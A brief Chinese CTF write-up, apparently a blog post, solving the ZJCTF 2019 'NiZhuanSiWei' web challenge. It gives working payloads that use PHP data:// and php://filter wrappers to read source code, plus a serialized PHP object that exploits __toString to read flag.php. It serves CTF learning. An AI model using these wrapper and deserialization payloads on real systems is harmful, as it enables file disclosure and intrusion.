【BUUCTF-Web 0024】[ZJCTF 2019]NiZhuanSiWei

Subject

逆转思维 PHP伪协议 PHP反序列化


Mind Palace

访问url获得代码:

image

preg_match ( string pattern , stringsubject , array &matches = ? , intflags = 0 , int $offset = 0 ) : int => 执行匹配正则表达式

Payload:

url/index.php
?text=text= data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
                      data://text/plain,welcome to the zjctf
&file=          php://filter/read=convert.base64-encode/resource=useless.php => useless.php
&password=  O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

第一个绕过:用data伪协议写入文件

第二个绕过:用php://filter读取base64编码后的源码 + base64解码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

第三个绕过(反序列化):

image

Look Ahead

PHP学的不够扎实;

PHP伪协议总结: https://segmentfault.com/a/1190000018991087


References:

https://www.cnblogs.com/wangtanzhi/p/12184759.html

https://segmentfault.com/a/1190000018991087


<p align="center">END (゚▽゚)/</p>

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容